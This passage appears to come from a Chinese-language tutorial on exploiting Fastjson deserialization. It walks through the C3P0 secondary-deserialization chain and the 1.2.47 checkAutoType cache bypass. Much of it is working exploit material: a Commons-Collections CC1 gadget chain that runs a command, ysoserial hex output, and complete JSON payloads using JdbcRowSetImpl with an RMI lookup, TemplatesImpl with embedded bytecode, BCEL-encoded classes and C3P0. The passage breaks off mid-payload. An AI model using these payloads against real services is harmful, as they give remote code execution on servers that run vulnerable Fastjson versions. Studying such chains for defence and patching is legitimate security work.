  • 通过调用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource的setUserOverridesAsString(其实是调用父类抽象类的setUserOverridesAsString方法),同时给唯一参数userOverridesAsString赋值,值为我们要攻击的反序列化对象,任意可用的反序列化链即可,例如CC链,然后将其转换为hex字符串即可。

  • 攻击流程我们大概清楚了,那么我们来分析一下具体的调用细节。

  • 调用父类中的WrapperConnectionPoolDataSourceBase中的问题。

1
2
3
4
5
6
7
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}
  • VetoableChangeSupport
1
2
3
4
5
6
public void fireVetoableChange(String propertyName, Object oldValue, Object newValue)
throws PropertyVetoException {
if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
fireVetoableChange(new PropertyChangeEvent(this.source, propertyName, oldValue, newValue));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public void fireVetoableChange(PropertyChangeEvent event)
throws PropertyVetoException {
Object oldValue = event.getOldValue();
Object newValue = event.getNewValue();
if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
String name = event.getPropertyName();

VetoableChangeListener[] common = this.map.get(null);
VetoableChangeListener[] named = (name != null)
? this.map.get(name)
: null;

VetoableChangeListener[] listeners;
if (common == null) {
listeners = named;
}
else if (named == null) {
listeners = common;
}
else {
listeners = new VetoableChangeListener[common.length + named.length];
System.arraycopy(common, 0, listeners, 0, common.length);
System.arraycopy(named, 0, listeners, common.length, named.length);
}
if (listeners != null) {
int current = 0;
try {
while (current < listeners.length) {
listeners[current].vetoableChange(event);//调用 vetoableChange
current++;
}
}
catch (PropertyVetoException veto) {
event = new PropertyChangeEvent(this.source, name, newValue, oldValue);
for (int i = 0; i < current; i++) {
try {
listeners[i].vetoableChange(event);
}
catch (PropertyVetoException exception) {
// ignore exceptions that occur during rolling back
}
}
throw veto; // rethrow the veto exception
}
}
}
}

image-20250408164609045

  • WrapperConnectionPoolDataSource
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }//调用parseUserOverridesAsString解析传入的字符串
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}

image-20250408164923523

  • 调用parseUserOverridesAsString解析传入的字符串
1
2
3
4
5
6
7
8
9
10
11
12
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

  • 调用 转换为二进制数据
1
2
3
4
5
6
7
8
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}
  • 调用deserializeFromByteArray,完成最终二次反序列化。
1
2
3
4
5
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
  • 调用堆栈
1
2
3
4
5
6
7
deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123,SerializableUtils (com,mchange.v2.ser)
parseUserOverridesAsString:318,C3P0lmplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271,VetoableChangeSupport (ava.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)

2.4.2.PoC编写

  • 首先准备一个调用链,例如CC1,可以手写,或者利用ysoserial直接生成一个。

  • 方式一:手写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "yyyy");
Map<Object, Object> tranformeMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
Object o = aihc.newInstance(Target.class,tranformeMap);
Serializer.serialize(o);//写入ser.bin文件
//将生成的序列化文件转换为 hex字符串
InputStream in = new FileInputStream("ser.bin");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload, payload.length);
System.out.println(payloadHex);

Serializer.deSerialize("ser.bin");


}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] bytes = new byte[in.available()];
in.read(bytes);
in.close();
return bytes;
}
public static String bytesToHex(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

  • 方式二:ysoserial
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/exploit]
└─$ java -jar ysoserial-all.jar CommonsCollections1 calc.exe | hexdump -ve '/1 "%02x"'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a

或者将以前生成的反序列文件通过cyberchef进行转换,选择任意方式均可

image-20250408172819697

  • 构造完整PoC
1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200316F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E5472616E73666F726D65644D617061773FE05DF15A700300024C000E6B65795472616E73666F726D657274002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B4C001076616C75655472616E73666F726D657271007E00057870707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001A7371007E00117571007E0016000000027070740006696E766F6B657571007E001A00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00167371007E00117571007E00160000000174000463616C63740004657865637571007E001A0000000171007E001D737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000174000576616C75657400047979797978787672001B6A6176612E6C616E672E616E6E6F746174696F6E2E54617267657400000000000000000000007870;"
}

3. 绕过技巧

  • 在fastjson1.2.25版本之后,系统在@type反序列化类时在com.alibaba.fastjson.parser.ParserConfig.java中添加了一个checkAutoType的方法,用于过滤一些恶意的反序列化。
  • Fastjson 1.2.25 版本开始,默认情况下 AutoType 功能是关闭的,需要手动开启才能通过 @type 字段指定任意类进行反序列化,但是无论autoType开启以及关闭,都不影响我们利用缓存绕过
  • 因此目前最主要的问题就是绕过这个checkAutoType方法进行反序列化利用。

3.1. 1.2.47利用缓存绕过

  • 其中一个关键点就是autoTypeSupport参数,开启autoTypeSupport白名单优先,关闭autoTypeSupport黑名单优先。1.2.25之后默认情况为autoTypeSupport关闭,即黑名单优先原则。(无论autoType开启与否,都不影响利用缓存绕过)
  • checkAutoType方法分析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// Class<?> expectClass 这个就是在反序列化时配置预期加载的类,通常我们是没办法控制的,所以就别想了
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//是否在白名单中,若类名匹配任意白名单前缀,直接加载类。
//开启autoTypeSupport默认白名单优先原则
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//在两个缓存中找,是否有,如果有则直接返回该类。
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
//关闭autoTypeSupport时默认黑名单优先原则
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

  • 默认黑名单类

image-20250401095223928

  • 目前能够比较好绕过的就是从缓存找类的方式,只要我们提前将我们的类写入缓存表中,那就可以绕过这个方法的检测。
1
2
3
4
5
6
7
8
//从mappings中查找是否存在该类
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}

private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1);
  • 那么接下来我们的目标就是如果通过将我们的恶意类加载进行mappings缓存表中,那么我们可以通过查找mappings.put方法,那查看哪些可控方法可以使用。
  • 通过查找我们可以看到我们的老朋友com.alibaba.fastjson.util.TypeUtils类,之前见到它的时候还是遍历Getter方法的时候。在这个类中存在一个loadClass方法,而该方法就调用了mappings.put方法,将className插入到mappings中,为我们绕过checkAutoType提供了条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
//写入mappings
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);

return clazz;
} catch (Throwable e) {
// skip
}

return clazz;
}
  • 我们又可以找到MiscCodec这个类中又调用了TypeUtils.loadClass,而MiscCodec本身是个反序列化器,且会在ParserConfig初始化时进行配置,;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
deserializers.put(Class.class, MiscCodec.instance)
deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
  • 也就是说当Class.class类型或者下面的这些类类型反序列化时都会调用MiscCodec.instance这个反序列化器,而调用这个返序列化器,就会将val对应的反序列化的类写入到mappings中。

  • 那么只要需要使用这些类去加载这些类加载器去加载我们的恶意类就好了。

  • 提前加载了这个恶意类加载到mappings中,到在cheakAutoType中去查找缓存的时候就会返回,从而绕过黑白名单检测机制。


  • 那么接下来就是具体的绕过实际的PoC编写了

  • 首先我们选择一个我们要反序列化的类,我们要使用的反序列化器是MiscCodec.instance,因此我们在以上的class类型中寻找一个,例如我们可以选择java.lang.class,属于Class类型,且是JDK自带的类。然后我们需要设置val的值,为什么是设置val的值呢,因为MiscCodec类的代码实现就是将val的值使用TypeUtils.loadClass进行类加载。

    • 为什么不选择其他Class类型?

    • 类加载的天然属性

      • java.lang.Class 是 Java 反射的核心类:其反序列化逻辑天然支持通过字段值(如 val动态加载类名,而其他类(如 UUIDTimeZone)的反序列化逻辑仅处理自身数据结构,不涉及类加载
      • 例如,反序列化UUID只会生成一个UUID对象,而不会将任何新类名存入缓存。
  • PoC如下

1
{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}
  • 这样我们就可以将com.sun.rowset.JdbcRowSetImpl写入到mappings缓存中,再次调用cheakAutoType方法来检测恶意类的时候,发现缓存中存在这个类就会直接返回。

缓存加载流程

  1. 反序列化处理:Fastjson 使用 MiscCodec 反序列化器处理 java.lang.Class 类型。
  2. **调用 TypeUtils.loadClass**:解析 val 值对应的类名,并将该类加载到 mappings 缓存中(cache=true 时默认缓存)。
  3. 缓存写入:此时 com.sun.rowset.JdbcRowSetImpl 被存入全局缓存 TypeUtils.mappings,后续可直接读取。
  • 之后的PoC逻辑就和之前一样了,将之前的逻辑结合起来,PoC如下。
1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Object",
"autoCommit": true
}
}

image-20250401174351333

  • 其他利用缓存绕过原理类似

    • Templateslmpl
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    {
    "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "b": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [ "yv66vgAAADQALQoABgAfCgAgACEIACIKACAAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAqTGNvbS9zaGlyby92dWxuL2Zhc3Rqc29uL1RlbXBsYXRlc0ltcGxjbWQ7AQAKRXhjZXB0aW9ucwcAJgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBABBNZXRob2RQYXJhbWV0ZXJzAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACcBAApTb3VyY2VGaWxlAQAVVGVtcGxhdGVzSW1wbGNtZC5qYXZhDAAHAAgHACgMACkAKgEABGNhbGMMACsALAEAKGNvbS9zaGlyby92dWxuL2Zhc3Rqc29uL1RlbXBsYXRlc0ltcGxjbWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAPAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIAAAABABYAFwADABgAAAANAwASAAAAFAAAABYAAAABABAAGQADAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABoAGwACAA4AAAAEAAEAHAAYAAAACQIAEgAAABoAAAABAB0AAAACAB4="
    ],
    "_name": "aaa",
    "_tfactory": { },
    "_outputProperties": { }
    }
    }
    • BCEL
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    {
    "a": {
    "@type": "java.lang.Class",
    "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
    },
    "b": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    "driverClassLoader": {
    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c1N$C1$Q$7d$F$d9$b2$x$I$82$m$a2$a8$e8A$f0$A$Xo$Q$_F$T$p$8a$91$N$c6$e3R$h$5c$c4$5d$b2$y$ca$ly$e6$a2F$T$bd$fbQ$c6$e9$c6$m$J$3dt$3ao$de$7b$9dN$bf$7f$de$3f$B$i$60$d7$80$8e$b4$81$Vd$a2$c8$aa$b8$ca$91$e3X3$a0$n$cf$b1$ce$b1$c1$a0$d5m$c7$f6$P$Z$c2$a5r$9ba$e1$c8$bd$95$M$89$86$ed$c8$8b$d1CGz$a6$d5$e9$T$S$ad$8b$fe$l3$de$f2$zq$7fn$N$82$Sy2$Y$zw$e4$Jyb$x$aafVz$d6$a3$V$83$81E$8eB$M$9b$d8$o$Da$f5EE$8ee$M$db$u2$a4$V$a7j$bb$d5$d3$e6$f1X$c8$81o$bb$OC$3e$40$fb$96$d3$ad$5e$8d$i$df$7e$90$d3$a2$f2$dba$60$sC$f2$9f$d5$ec$f4$a4$f0$Z$96$e7$84$d4UW$fa$d3$qS$w7$e685z1$b5$q$Y$f6J3$d5$96$ef$d9N$b76$x$b8$f4$5c$n$87C$S$e4f$99$e6$9d$e7$3e$a91$d4$cam$U$R$a5$91$ab$V$CS$af$a7$3dFY$81$o$a3$Y$d9$7f$F$9b$d0$81fH$bb$W$80a$S$zM$a9$s$e5$K$5d$7dC$u$V$7e$c1$c2$f53$e2g$l$d0nH$cb$bf$sAQ$tj$84$eeP$sY$3a$v$x$3d$409a$f4$d9tw$82P$8eP$83$p$a9$93h9h$w$f5$LT$ffu$95$j$C$A$A"
    }
    }:"bbb"
    }
    • C3P0 二次反序列化 CC1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    {
    "a": {
    "@type": "java.lang.Class",
    "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "b": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200316F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E5472616E73666F726D65644D617061773FE05DF15A700300024C000E6B65795472616E73666F726D657274002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B4C001076616C75655472616E73666F726D657271007E00057870707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E